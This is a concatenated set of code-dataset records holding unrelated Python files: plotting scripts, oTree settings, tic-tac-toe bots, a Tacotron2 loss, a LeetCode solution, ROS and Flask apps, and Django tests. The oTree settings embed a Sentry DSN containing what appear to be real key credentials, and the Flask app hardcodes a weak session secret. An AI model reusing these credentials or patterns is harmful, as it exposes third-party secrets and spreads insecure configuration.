b'ok'\n","sub_path":"opentrons_sdk/drivers/motor.py","file_name":"motor.py","file_ext":"py","file_size_in_byte":17426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"39670635","text":"#!/usr/bin/python\nimport os\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport cPickle\n\n\n\ndef plot_roc(data, id, componentList):\n\n num_id = len(id)\n \n idList = [0, 1, 2, 3, 4, 5]\n\n\n for j in xrange(num_id):\n r = data[idList[j]]\n\n fppiIdx = sum(r['fppi'] < 0.1) \n print(r['recall'][fppiIdx])\n plt.plot(r['fppi'], r['recall'], label= id[j] + '_' + str(r['recall'][fppiIdx])[:5], \n linewidth=2.0)\n\n plt.annotate('{:.3f}'.format(r['recall'][fppiIdx]), \\\n xy = (r['fppi'][fppiIdx] + 0.01, r['recall'][fppiIdx]), \\\n textcoords='data') \n\n print('')\n\n plt.draw()\n ax = plt.gca()\n ax.set_ylim([0, 1])\n ax.set_xscale('log')\n\n \n plt.xlabel('FPPI', fontsize=16)\n plt.ylabel('Recall', fontsize=16)\n plt.legend(loc='upper left', fontsize=10)\n plt.title('ROC Curve')\n plt.grid(b=True, which='major', color='b', linestyle='-')\n plt.grid(b=True, which='minor', color='b', linestyle=':')\n \n plt.savefig('curves4', \n boxes_inches = 'tight', pad_inches = 0) \n\n\ndef plot_curves(eval_result, curve_id, componentList):\n plot_roc(eval_result, curve_id, componentList)\n\n\nif __name__ == '__main__':\n curvesName = []\n aliasCurvesName = []\n\n \n curvesName.append('psdbCrop-psdbFourParts-groundTruth-Ohem-pvanet-DRoiAlignX-10.pkl')\n\n \n aliasCurvesName.append('head')\n\n\n componentList = []\n\n\n curves = []\n for name in curvesName:\n print(name)\n if os.path.exists(name):\n with open(name, 'rb') as fid:\n print(name)\n eval_result = cPickle.load(fid)\n curves += eval_result\n\n plot_curves(curves, aliasCurvesName, componentList)\n\n","sub_path":"psdbCrop/plot_curves4.py","file_name":"plot_curves4.py","file_ext":"py","file_size_in_byte":1759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"611861544","text":"from os import environ\n\n# if you set a property in SESSION_CONFIG_DEFAULTS, it will be inherited by all configs\n# in SESSION_CONFIGS, except those that explicitly override it.\n# the session config can be accessed from methods in your apps as self.session.config,\n# e.g. self.session.config['participation_fee']\n\nmturk_hit_settings = {\n 'keywords': ['bonus', 'study'],\n 'title': 'orhun1',\n 'description': 'Add a description here',\n 'frame_height': 500,\n 'preview_template': 'global/MTurkPreview.html',\n 'minutes_allotted_per_assignment': 60,\n 'expiration_hours': 7*24, # 7 days\n #'grant_qualification_id': 'YOUR_QUALIFICATION_ID_HERE',# to prevent retakes\n 'qualification_requirements': []\n}\n\nSESSION_CONFIG_DEFAULTS = {\n 'real_world_currency_per_point': 1.00,\n 'participation_fee': 1,\n 'doc': \"\",\n 'mturk_hit_settings': mturk_hit_settings,\n}\n\nSESSION_CONFIGS = [\n {\n 'name': 'orhun4',\n 'display_name': 'orhun4',\n 'num_demo_participants': 3,\n 'app_sequence': ['baseline', 'game1'],\n 'lower_bound': 0,\n 'upper_bound': 25,\n 'min_players': 3,\n 'time_limit': 90,\n 'timeout_seconds': 60,\n 'gameDuration': \"90 seconds\",\n 'pageTimeoutWording': \"60 seconds\",\n 'first_place_bonus': 2.5,\n 'second_place_bonus': 1,\n 'startwp_timer': 300,\n 'participation_fee': 1,\n 'doc': \"\"\"\n The timeout_seconds, time_limit, and startwp_timer are not configurable at this time.\n \"\"\"\n }\n]\n\n# ISO-639 code\n# for example: de, fr, ja, ko, zh-hans\nLANGUAGE_CODE = 'en'\n\n# e.g. EUR, GBP, CNY, JPY\nREAL_WORLD_CURRENCY_CODE = 'USD'\nUSE_POINTS = False\nPOINTS_DECIMAL_PLACES = 2\n\nROOMS = []\n\n\n# AUTH_LEVEL:\n# this setting controls which parts of your site are freely accessible,\n# and which are password protected:\n# - If it's not set (the default), then the whole site is freely accessible.\n# - If you are launching a study and want visitors to only be able to\n# play your app if you provided them with a start link, set it to STUDY.\n# - If you would like to put your site online in public demo mode where\n# anybody can play a demo version of your game, but not access the rest\n# of the admin interface, set it to DEMO.\n\n# for flexibility, you can set it in the environment variable OTREE_AUTH_LEVEL\nAUTH_LEVEL = environ.get('OTREE_AUTH_LEVEL')\n\nADMIN_USERNAME = 'admin'\n# for security, best to set admin password in an environment variable\nADMIN_PASSWORD = environ.get('OTREE_ADMIN_PASSWORD')\n\n\n# Consider '', None, and '0' to be empty/false\nDEBUG = (environ.get('OTREE_PRODUCTION') in {None, '', '0'})\n\nDEMO_PAGE_INTRO_HTML = \"\"\" \"\"\"\n\n# don't share this with anybody.\nSECRET_KEY = ''\nSENTRY_DSN = 'http://a62c7fe5b78b4dcfb30c3a170e54a5b9:0d9062375f2e406a9c9ee4c3825c3010@sentry.otree.org/322'\n\n# if an app is included in SESSION_CONFIGS, you don't need to list it here\nINSTALLED_APPS = [\n 'otree',\n 'otree_mturk_utils',\n]\n\nEXTENSION_APPS = [\n 'otree_mturk_utils',\n]","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":3025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"235663554","text":"import pandas as pd\n\ndef main():\n df = pd.read_csv('data/group_track_data.csv')\n df_group = pd.read_csv('data/detected_groups3.csv')\n\n segment_nums = []\n datasets = []\n for _, row in df_group.iterrows():\n frame = row.frameID\n seg_num = df[df.frameID == frame].iloc[0].segment_num\n dataset = df[df.frameID == frame].iloc[0].dataset\n\n segment_nums.append(seg_num)\n datasets.append(dataset)\n\n df_group['segment_num'] = segment_nums\n df_group['dataset'] = datasets\n df_group.to_csv('data/detected_groups3_datasets.csv')\n\nif __name__ == \"__main__\":\n main()","sub_path":"add_datasets.py","file_name":"add_datasets.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"66948065","text":"import pandas as pd\n\n\ndef vw_preproc(df, num_strings=None, cat_thresh=6, out_file='train_vw.csv'):\n ''' This function prepares dataset for Vowpal Wabbit. It makes 2 categories of features: categorial and non categorial.\n \n Args:\n df (pandas.DataFrame): your dataframe to transform\n num_strings (int): number of objects you want to transform\n cat_thresh (int): threshold quantity of unique values for divide categorial and non-categorial features. default is 6.\n out_file (str): file to save the transformed dataset. default is train_vw.csv\n \n Returns:\n Writes to file ('out_file).\n '''\n # divides categorial and continuous features\n feats_categorical = []\n feats_cont = []\n for col in df.columns:\n if df[col].nunique() <= cat_thresh and col != 'target':\n feats_categorical.append(col)\n for col in df.columns:\n if col not in feats_categorical and col != 'target':\n feats_cont.append(col)\n \n # replace target==0 with -1\n if 'target' in df.columns:\n df['target'] = df['target'].replace(0, -1)\n \n # make file\n with open(out_file, 'a') as file:\n file.truncate(0)\n for x in range(0, num_strings):\n string = ''\n if 'target' in df.columns:\n string = df.iloc[x]['target'].astype('str') + ' |'\n string += 'CAT '\n for col in feats_categorical:\n string += col + ':'\n string += str(df.iloc[x][col])\n string += ' '\n string += ' |'\n string += 'CONT '\n for col in feats_cont:\n string += col + ':'\n string += str(df.iloc[x][col])\n string += ' '\n string += '\\n'\n file.write(string)","sub_path":"ogds_tools.py","file_name":"ogds_tools.py","file_ext":"py","file_size_in_byte":1810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"510052821","text":"\"\"\"artificial inteligences\"\"\"\n\nfrom random import choice\n\nfrom .nn import SimpleNN\n\nPOSICIONES = {\n \"z\": 0,\n \"x\": 1,\n \"c\": 2,\n \"a\": 3,\n \"s\": 4,\n \"d\": 5,\n \"q\": 6,\n \"w\": 7,\n \"e\": 8,\n}\n\n\nclass Humano:\n \"\"\"Objeto ejecutable para jugadas humanas\"\"\"\n\n ins_no_imp = True\n\n def __init__(self, nombre='Humano'):\n self.name = nombre\n\n def __str__(self):\n return self.name\n\n def start(self, *args): #pylint: disable=W0613\n \"\"\"Imprime las instruciones si no han sido impresas ya\"\"\"\n if Humano.ins_no_imp:\n print(\"Utiliza las letras z, x, c, a, s, d, q, w, e\")\n print(\"para marcar tu posicion en el tablero como sigue\")\n print(\"q|w|e\")\n print(\"a|s|d\")\n print(\"z|x|c\")\n Humano.ins_no_imp = False\n\n def finish(self, resultado, turnos):\n \"\"\"resultado\"\"\"\n pass\n\n def __call__(self, tablero, jugador_actual, valid_moves): #pylint: disable=W0613\n while True:\n entrada = input()\n if entrada not in POSICIONES:\n print(\"Posicion invalida\")\n else:\n pos = POSICIONES[entrada]\n if tablero[pos] == \" \":\n break\n else:\n print(\"Posicion invalida\")\n return pos\n\n\nclass IAEduardo:\n \"\"\"Logaritmit IA from ed\"\"\"\n\n def __init__(self, name):\n self.name = name\n\n def __str__(self):\n return \"Eduardo class bot <{self.name}>\".format(**locals())\n\n def start(self, *args): #pylint: disable=W0613\n \"\"\"No me importa\"\"\"\n #pylint: disable=W0101\n return\n # print(f'{self.name}: u goin down')\n\n def finish(self, resultado, *args): #pylint: disable=W0613\n \"\"\"menos aun\"\"\"\n #pylint: disable=W0101\n return\n # if resultado == 1:\n # print(\n # f'{self.name}: >>> won tictactoe \\n >>>'\n # ' thinks its an acomplisment')\n # elif resultado == -1:\n # print(f'{self.name}: sure why not')\n # else:\n # print(f'{self.name}: yo no fui')\n\n def __call__(self, tablero, jugador_actual, valid_moves): #pylint: disable=C0103\n \"\"\"Eduardo IA\"\"\"\n #pylint: disable=C0103,C0330\n jugadas_validas = []\n jugadas_invalidas = []\n jugadores = []\n jugadores.append(jugador_actual)\n if jugadores[0] == \"x\":\n jugadores.append(\"o\")\n if jugadores[0] == \"o\":\n jugadores.append(\"x\")\n for j in range(2):\n for c in range(3):\n if c == 0:\n if (((tablero[0] == jugadores[j]) +\n (tablero[4] == jugadores[j]) +\n (tablero[8] == jugadores[j])) == 2):\n for p in range(0, 9, 4):\n if tablero[p] == \" \":\n jugadas_validas.append(p)\n if jugadas_validas != []:\n pos = choice(jugadas_validas)\n return pos\n if (((tablero[2] == jugadores[j]) +\n (tablero[4] == jugadores[j]) +\n (tablero[6] == jugadores[j])) == 2):\n for p in range(2, 7, 2):\n if tablero[p] == \" \":\n jugadas_validas.append(p)\n if jugadas_validas != []:\n pos = choice(jugadas_validas)\n return pos\n if (((tablero[c * 3] == jugadores[j]) +\n (tablero[c * 3 + 1] == jugadores[j]) +\n (tablero[c * 3 + 2] == jugadores[j])) == 2):\n for p in range(c * 3, c * 3 + 3, 1):\n if tablero[p] == \" \":\n jugadas_validas.append(p)\n if jugadas_validas != []:\n pos = choice(jugadas_validas)\n return pos\n if (((tablero[c] == jugadores[j]) +\n (tablero[c + 3] == jugadores[j]) +\n (tablero[c + 6] == jugadores[j])) == 2):\n for p in range(c, 9, 3):\n if tablero[p] == \" \":\n jugadas_validas.append(p)\n if jugadas_validas != []:\n pos = choice(jugadas_validas)\n return pos\n if tablero[4] == jugadores[1]:\n for i in range(0, 9, 2):\n if tablero[i] == \" \":\n jugadas_validas.append(i)\n if jugadas_validas != []:\n pos = choice(jugadas_validas)\n return pos\n if (tablero != [\" \", \" \", \" \", \" \", \" \", \" \", \" \", \" \", \" \"]\n and tablero[4] == \" \"):\n pos = 4\n return pos\n if 0 < (\n (tablero[1] == jugadores[1]) + (tablero[3] == jugadores[1]) +\n (tablero[5] == jugadores[1]) +\n (tablero[7] == jugadores[1])) < 4 or tablero[4] == jugadores[0]:\n if (((tablero[1] == jugadores[1]) + (tablero[3] == jugadores[1]) +\n (tablero[5] == jugadores[1]) +\n (tablero[7] == jugadores[1])) == 2):\n if (tablero[1] == jugadores[1] and tablero[5] == jugadores[1]\n and tablero[2] == \" \"):\n pos = 2\n return pos\n if (tablero[1] == jugadores[1] and tablero[3] == jugadores[1]\n and tablero[0] == \" \"):\n pos = 0\n return pos\n if (tablero[5] == jugadores[1] and tablero[7] == jugadores[1]\n and tablero[8] == \" \"):\n pos = 8\n return pos\n if (tablero[7] == jugadores[1] and tablero[3] == jugadores[1]\n and tablero[6] == \" \"):\n pos = 6\n return pos\n for i in range(1, 9, 2):\n if tablero[i] == \" \" and i != 4:\n jugadas_validas.append(i)\n if (((tablero[1] != \" \") + (tablero[4] != \" \") +\n (tablero[7] != \" \")) == 2):\n for p in range(1, 9, 3):\n if tablero[p] == \" \":\n jugadas_invalidas.append(p)\n jugadas_validas.remove(jugadas_invalidas[0])\n jugadas_invalidas.remove(jugadas_invalidas[0])\n if (((tablero[3] != \" \") + (tablero[4] != \" \") +\n (tablero[5] != \" \")) == 2):\n for p in range(3, 6, 1):\n if tablero[p] == \" \":\n jugadas_invalidas.append(p)\n jugadas_validas.remove(jugadas_invalidas[0])\n jugadas_invalidas.remove(jugadas_invalidas[0])\n if jugadas_validas != []:\n pos = choice(jugadas_validas)\n return pos\n for i in range(0, 9, 2):\n if tablero[i] == \" \":\n jugadas_validas.append(i)\n if jugadas_validas != []:\n pos = choice(jugadas_validas)\n return pos\n else:\n for i in range(9):\n if tablero[i] == \" \":\n jugadas_validas.append(i)\n if jugadas_validas != []:\n pos = choice(jugadas_validas)\n return pos\n\n\nclass IARandom:\n \"\"\"IA player that chooses random valid moves\n \"\"\"\n\n def __call__(self, tablero, jugador_actual, jugadas_validas):\n return choice(tuple(jugadas_validas))\n\n def __str__(self):\n return \"Random Bot\"\n\n def start(self):\n pass\n\n def finish(self, *args, **kwargs):\n pass\n\n\nclass IAWolfang:\n \"\"\"Self learning 3 layer neural network\"\"\"\n\n def __init__(self, name='alvieja', neural_net=None):\n self.name = name\n self.neural_net = (\n neural_net if neural_net else SimpleNN(name, 18, 18, 9))\n self.name = name\n self.neural_net = neural_net\n self.match_moves = []\n self.invalid_moves = []\n self.vervose = False\n\n def start(self):\n \"\"\"the game started\"\"\"\n self.match_moves = []\n self.invalid_moves = []\n\n def finish(self, result, turns):\n \"\"\"the game ended\"\"\"\n fitness = 9 - turns\n repetitions = 5 * fitness**2 + 20\n inputs, outputs = zip(*self.match_moves)\n if result == 1:\n self.neural_net.train(inputs, outputs, True, 2 * repetitions)\n elif result == 0:\n self.neural_net.train(inputs, outputs, True, repetitions // 2)\n elif result == -1:\n self.neural_net.train(inputs, outputs, False, repetitions)\n\n def _transform_board(self, board, player):\n \"\"\"Transform te board to be usable by the NN\n\n it returns a 18 element list, first 9 its the board\n with only player pieces as 1, last 9 it board with\n only oponent pieces as 1\n \"\"\"\n processed = []\n for jug in True, False:\n for place in board:\n if place == \" \":\n processed.append(0)\n else:\n processed.append(int((place == player) == jug))\n return processed\n\n def _get_ideal_ouput(self, move):\n return [0.75 if i == move else 0.25 for i in range(9)]\n\n # def __call__(self, board, player, valid_moves):\n # inputs = self._transform_board(board, player)\n # output = self.neural_net.calculate((inputs, ))\n # moves = {i for i in range(9) if output[0][i] >= 0.9}\n # posible_moves = moves.intersection(valid_moves)\n # if not posible_moves:\n # move = choice(tuple(valid_moves))\n # else:\n # move = sorted(posible_moves, key=lambda x: output[0][x])[0]\n # if self.vervose:\n # print('output: {output[0]}, selected: {move}'.format(**locals()))\n # ideal_ouput = self._get_ideal_ouput(move)\n # self.match_moves.append((inputs, ideal_ouput))\n # return move\n\n def __call__(self, board, player, valid_moves):\n inputs = self._transform_board(board, player)\n output = self.neural_net.calculate((inputs, ))\n # moves = {i: output[0][i] for i in range(9) if output[0][i] > 0.5}\n moves = {i: output[0][i] for i in range(9)}\n ordered_moves = sorted(moves, key=lambda x: abs(0.75 - moves[x]))\n for move in ordered_moves:\n ideal_ouput = self._get_ideal_ouput(move)\n if move in valid_moves:\n self.match_moves.append((inputs, ideal_ouput))\n if self.vervose:\n print(\n 'output: {output[0]}, selected: {move}'.format(\n **locals()))\n return move\n else:\n self.invalid_moves.append((inputs, ideal_ouput))\n\n def __str__(self):\n return \"Neural Network Player <{self.name}>\".format(**locals())\n","sub_path":"alvieja/ai.py","file_name":"ai.py","file_ext":"py","file_size_in_byte":11078,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"588726674","text":"import torch\nimport torch.nn as nn\nimport numpy as np\n\n\n# ========== Tacotron2Loss\nclass Tacotron2Loss():\n def __init__(self, n_frames_per_step, reduction, pos_weight, device):\n self.n_frames_per_step = n_frames_per_step\n self.device = device\n self.reduction = reduction\n self.l1_criterion = nn.L1Loss(reduction=reduction)\n self.mse_criterion = nn.MSELoss(reduction=reduction)\n self.bce_criterion = nn.BCEWithLogitsLoss(reduction=reduction, \n pos_weight=torch.tensor(pos_weight))\n\n def __call__(self,\n model_output,\n targets,\n mel_len):\n \n outputs, postnet_outputs, stop_values, _ = model_output\n mel, stop_labels = targets[0], targets[1]\n\n mel=mel.transpose(1,2)\n outputs = outputs.transpose(1,2)\n postnet_outputs = postnet_outputs.transpose(1,2)\n\n # Mel-spec loss\n l1_loss = self.l1_criterion(postnet_outputs, mel) + self.l1_criterion(outputs, mel)\n mse_loss = self.mse_criterion(postnet_outputs, mel) + self.mse_criterion(outputs, mel)\n \n # Stop loss\n bce_loss = self.bce_criterion(stop_values, stop_labels)\n \n if self.reduction == \"none\":\n # Compute weight masks and apply reduction\n mel_len_ = mel_len.cpu().numpy()\n masks = _pad_mask(mel_len_, self.n_frames_per_step).unsqueeze(-1).to(self.device)\n weights = masks.float() / masks.sum(dim=1, keepdim=True).float()\n out_weights = weights.div(mel.size(0) * mel.size(2))\n logit_weights = weights.div(mel.size(0))\n \n # Apply weight\n l1_loss = l1_loss.mul(out_weights).masked_select(masks).sum()\n mse_loss = mse_loss.mul(out_weights).masked_select(masks).sum()\n bce_loss = bce_loss.mul(logit_weights.squeeze(-1)).masked_select(masks.squeeze(-1)).sum()\n \n # Compute total loss\n loss = l1_loss + mse_loss + bce_loss\n\n return loss\n\n\ndef _pad_mask(mel_lens, r):\n max_len = max(mel_lens)\n remainder = max_len % r\n pad_len = max_len + (r - remainder) if remainder > 0 else max_len\n mask = [np.ones(( mel_lens[i]), dtype=bool) for i in range(len(mel_lens))]\n mask = np.stack([_pad_array(x, pad_len) for x in mask])\n return torch.tensor(mask)\n\n\ndef _pad_array(x, length):\n _pad = 0\n x = np.pad(\n x, [[0, length - x.shape[0]]],\n mode='constant',\n constant_values=False)\n return x","sub_path":"msa_tts/models/modules_tacotron2nv/tacotron2nv_loss.py","file_name":"tacotron2nv_loss.py","file_ext":"py","file_size_in_byte":2564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"37815045","text":"# Time: O(n) on average\n# Space: O(n)\n\n# 1058\n# Given an array of prices [p1,p2...,pn] and a target, round each price pi to Roundi(pi) so that\n# the rounded array [Round1(p1),Round2(p2)...,Roundn(pn)] sums to the given target. Each operation\n# Roundi(pi) could be either Floor(pi) or Ceil(pi).\n#\n# Return the string \"-1\" if the rounded array is impossible to sum to target. Otherwise, return the\n# smallest rounding error, which is defined as Σ |Roundi(pi) - (pi)| for i from 1 to n, as a string\n# with three places after the decimal.\n#\n# Hint: If we have integer values in the array then we just need to subtract the target\n# those integer values, so we reduced the problem.\n# Similarly if we have non integer values we have two options to put them flor(value) or\n# ceil(value) = floor(value) + 1, so the idea is to just subtract floor(value).\n# Now the problem is different for each position we can sum just add 0 or 1 in order to\n# sum the target, minimizing the deltas. This can be solved with DP.\n\nimport math\nimport random\n\n\nclass Solution(object):\n def minimizeError(self, prices, target):\n \"\"\"\n :type prices: List[str]\n :type target: int\n :rtype: str\n \"\"\"\n def kthElement(nums, k, compare=lambda a, b: a < b):\n def PartitionAroundPivot(left, right, pivot_idx, nums, compare):\n new_pivot_idx = left\n nums[pivot_idx], nums[right] = nums[right], nums[pivot_idx]\n for i in range(left, right):\n if compare(nums[i], nums[right]):\n nums[i], nums[new_pivot_idx] = nums[new_pivot_idx], nums[i]\n new_pivot_idx += 1\n\n nums[right], nums[new_pivot_idx] = nums[new_pivot_idx], nums[right]\n return new_pivot_idx\n\n left, right = 0, len(nums) - 1\n while left <= right:\n pivot_idx = random.randint(left, right)\n new_pivot_idx = PartitionAroundPivot(left, right, pivot_idx, nums, compare)\n if new_pivot_idx == k:\n return\n elif new_pivot_idx > k:\n right = new_pivot_idx - 1\n else: # new_pivot_idx < k.\n left = new_pivot_idx + 1\n \n errors = []\n lower, upper = 0, 0\n for i, p in enumerate(map(float, prices)):\n lower += int(math.floor(p))\n upper += int(math.ceil(p))\n if p != math.floor(p):\n errors.append(p-math.floor(p))\n if not lower <= target <= upper:\n return \"-1\"\n\n round_down_count = upper-target\n kthElement(errors, round_down_count)\n result = 0.0\n for i in range(len(errors)):\n if i < round_down_count:\n result += errors[i]\n else:\n result += 1.0-errors[i]\n return \"{:.3f}\".format(result)\n\nprint(Solution().minimizeError([\"0.700\",\"2.800\",\"4.900\"], 8)) # '1.000'\nprint(Solution().minimizeError([\"1.500\",\"2.500\",\"3.500\"], 10)) # '-1'","sub_path":"Python/minimize-rounding-error-to-meet-target.py","file_name":"minimize-rounding-error-to-meet-target.py","file_ext":"py","file_size_in_byte":3059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"189232302","text":"#!/usr/bin/env python\n\nimport numpy as np\nimport pcl\nimport pickle\nimport sklearn\nfrom sklearn.preprocessing import LabelEncoder\n\nfrom imagecontrol.srv import GetNormals\nfrom imagecontrol.features import compute_color_histograms\nfrom imagecontrol.features import compute_normal_histograms\nfrom visualization_msgs.msg import Marker\n\nfrom imagecontrol.marker_tools import *\nfrom imagecontrol.msg import DetectedObjectsArray\nfrom imagecontrol.msg import DetectedObject\nfrom imagecontrol.pcl_helper import *\n\ndef get_normals(cloud):\n get_normals_prox = rospy.ServiceProxy('get_normals',\n GetNormals)\n return get_normals_prox(cloud).cluster\n\ndef pcl_callback(pcl_msg):\n\n\n # Convert ROS msg to PCL data (XYZRGB)\n ros_cloud = ros_to_pcl(pcl_msg)\n\n print(ros_cloud)\n \n \n\n\n # Extract histogram features (similar to capture_features.py)\n histogram_bins = 64\n chists = compute_color_histograms(pcl_msg,\n nbins=histogram_bins,\n using_hsv=True)\n normals = get_normals(pcl_msg)\n nhists = compute_normal_histograms(normals,\n nbins=histogram_bins)\n feature = np.concatenate((chists, nhists))\n\n # Make the prediction, retrieve the label for the result and add it\n # to detected_objects_labels list\n prediction = clf.predict(scaler.transform(feature.reshape(1, -1)))\n label = encoder.inverse_transform(prediction)[0]\n print(label)\n \n\n # Publish a label into RViz\n \n\nif __name__ == '__main__':\n\n # ROS node initialization\n rospy.init_node('recognition', anonymous=True)\n\n # Create Subscriber to receive the published data coming from the\n # pcl_callback() function that will be processing the point clouds\n pcl_sub = rospy.Subscriber('/cluster', pc2.PointCloud2,\n pcl_callback, queue_size=1)\n\n # Create Publishers\n object_markers_pub = rospy.Publisher('/object_markers', Marker,\n queue_size=1)\n detected_objects_pub = rospy.Publisher('/detected_objects',\n DetectedObjectsArray,\n queue_size=1)\n pcl_objects_pub = rospy.Publisher('/pcl_objects', PointCloud2, queue_size=1)\n pcl_objects_cloud_pub = rospy.Publisher('/pcl_objects_cloud', PointCloud2,\n queue_size=1)\n pcl_table_pub = rospy.Publisher('/pcl_table', PointCloud2, queue_size=1)\n\n # Load model from disk\n model = pickle.load(open('model.sav', 'rb'))\n clf = model['classifier']\n encoder = LabelEncoder()\n encoder.classes_ = model['classes']\n scaler = model['scaler']\n\n # Initialize color_list\n get_color_list.color_list = []\n\n # Spin while node is not shutdown\n while not rospy.is_shutdown():\n rospy.spin()\n","sub_path":"script/recognition.py","file_name":"recognition.py","file_ext":"py","file_size_in_byte":2936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"520504250","text":"from flask import Flask, render_template, request, redirect, session\nfrom datetime import datetime\nimport random\napp = Flask(__name__)\napp.secret_key = \"sessionkey\"\n\n@app.route('/')\ndef index():\n if 'gold' not in session:\n session['gold'] = 0\n session['activities'] = []\n return render_template(\"index.html\", gold=session['gold'], activities=session['activities'])\n\n@app.route('/process_money', methods=['POST'])\ndef process_money():\n time = datetime.now().strftime(\"%Y/%m/%d %I:%M:%S %p\")\n # print time\n building = request.form['building']\n if building == 'farm':\n gold = random.randrange(10,20+1)\n session['activities'].append({'activity':\"You entered a {} and earned {} golds\".format(building, gold), 'class':'win', 'date':time})\n\n elif building == 'cave':\n gold = random.randrange(5,10+1)\n session['activities'].append({'activity': \"You entered a {} and earned {} golds\".format(building, gold), 'class':'win', 'date':time})\n\n elif building == 'house':\n gold = random.randrange(2,5+1)\n session['activities'].append({'activity': \"You entered a {} and earned {} golds\".format(building, gold), 'class':'win', 'date':time})\n\n elif building == 'casino':\n gold = random.randrange(-50,50+1)\n if gold < 0:\n session['activities'].append({'activity': \"You entered a {} and lost {} golds\".format(building, gold), 'class': 'loss', 'date':time})\n else:\n session['activities'].append({'activity': \"You entered a {} and earned {} golds\".format(building, gold), 'class':'win', 'date':time})\n\n session['gold'] += gold\n return redirect('/')\n\napp.run(debug=True)\n","sub_path":"flask-solutions/ninja-gold/solutions/solution-one/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"287136349","text":"bandLimits = [0, 200, 400, 800, 1600, 3200, 6400] \ncombFilterPulses = 8\nminBpm = 60\nmaxBpm = 240\n\nresampleSignal = True\nresampleRatio = 4\n\ndrawPlots = False\ndrawTempoFftPlots = False\ndrawMetreFftPlots = False\ndrawTempoFilterPlots = False\ndrawMetreFilterPlots = False\ndrawSongBpmEnergyPlot = True\n","sub_path":"src/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":299,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"587945075","text":"import unittest\nimport re\nfrom selenium import webdriver\nfrom selenium.webdriver.support.ui import WebDriverWait\n\nclass TestFooter(unittest.TestCase):\n def setUp(self):\n self.browser = webdriver.Chrome()\n\n def testfblink(self):\n \"\"\"Launch the web page\"\"\"\n self.browser.get('https://higherground-boston.org/')\n \n \"\"\"Click the facebook icon in the footer\"\"\"\n fbXpath = \"/html/body/div[1]/footer/div[1]/div/div/div/div[3]/div/div[2]/div/div/span/a/i\"\n Element= WebDriverWait(self.browser, 5).until(lambda driver: self.browser.find_element_by_xpath(fbXpath))\n Element.click()\n\n \nif __name__ == '__main__':\n unittest.main()","sub_path":"TestFooter.py","file_name":"TestFooter.py","file_ext":"py","file_size_in_byte":684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"333271034","text":"\"\"\"This module tests the feedback sent by ESMA.\"\"\"\nimport glob\nimport os\nfrom integrations.esma.utils.populate_rating_decision.helpers import (\n press_release_data,\n research_report_data,\n get_attributes,\n)\nfrom django.test import TestCase\nfrom django.conf import settings\nfrom issuer.models import Issuer\nfrom issue.models import Issue\nfrom rating_process.models.rating_decision import RatingDecision\nfrom rating_process.models.press_release import PressRelease\nfrom rating_process.models.rating_decision_issue import RatingDecisionIssue\nfrom rating_process.models.issue_decision import IssueDecision\nfrom upload.models import AnalyticalDocument\nfrom rating_process.tasks import (\n refresh_decision_attributes,\n update_issue_rating\n)\n\n# Load all fixtures\nGLOBAL_FIXTURES = glob.glob(settings.BASE_DIR + \"/config/fixtures/*.json\")\nTEST_FIXTURES = glob.glob(settings.BASE_DIR + \"/a_helper/test_fixtures/*.json\")\nFIXTURES = sorted(GLOBAL_FIXTURES) + sorted(TEST_FIXTURES)\nFIXTURE_LIST = []\n\nfor f in FIXTURES:\n FIXTURE_LIST.append(os.path.abspath(f))\n\n\nclass RatingDecisionHelper(TestCase):\n\n fixtures = FIXTURE_LIST\n\n @classmethod\n def setUpTestData(cls):\n \"\"\"setUpTestData\"\"\"\n\n cls.issuer = Issuer.objects.get(pk=1)\n cls.rating_decision = RatingDecision.objects.create(\n issuer=cls.issuer,\n event_type_id=1,\n rating_type_id=1\n )\n\n # Delete PressRelease for this test\n PressRelease.objects.get(\n rating_decision=cls.rating_decision).delete()\n\n def test_press_release_data(self):\n\n d = press_release_data(self.rating_decision)\n\n self.assertEqual(d, (None, False))\n\n press_release = PressRelease.objects.create(\n rating_decision=self.rating_decision,\n header='Test header',\n pre_amble='Test pre-amble',\n body='Test body',\n )\n\n d2 = press_release_data(self.rating_decision)\n\n self.assertEqual(d2, (press_release, True))\n\n def test_research_report_data(self):\n\n d = research_report_data(self.rating_decision)\n\n self.assertEqual(d, (None, False))\n\n research_report = AnalyticalDocument.objects.create(\n issuer_id=1,\n rating_decision=self.rating_decision,\n security_class_id=1,\n uploaded_by_id=1,\n document_type_id=15,\n )\n\n d2 = research_report_data(self.rating_decision)\n self.assertEqual(d2, (research_report, True))\n\n def test_attributes(self):\n\n refresh_decision_attributes(self.rating_decision)\n\n # Function to be tested\n d = get_attributes(False, self.rating_decision)\n\n self.assertEqual(d, self.rating_decision.decisionattributes)\n\n # Create a decision for senior debt\n RatingDecisionIssue.objects.create(\n rating_decision=self.rating_decision,\n seniority_id=1,\n proposed_lt=6,\n decided_lt=6,\n )\n\n # Create an issue\n Issue.objects.create(\n issuer_id=1,\n isin='xs1',\n maturity='2018-12-31',\n seniority_id=1,\n program_id=1,\n )\n\n # Create a decision per rating decision level and issue\n update_issue_rating(self.rating_decision)\n\n rating_decision_issue = IssueDecision.objects.get(pk=1)\n\n # Function to be tested\n d2 = get_attributes(True, rating_decision_issue)\n\n self.assertEqual(d2, 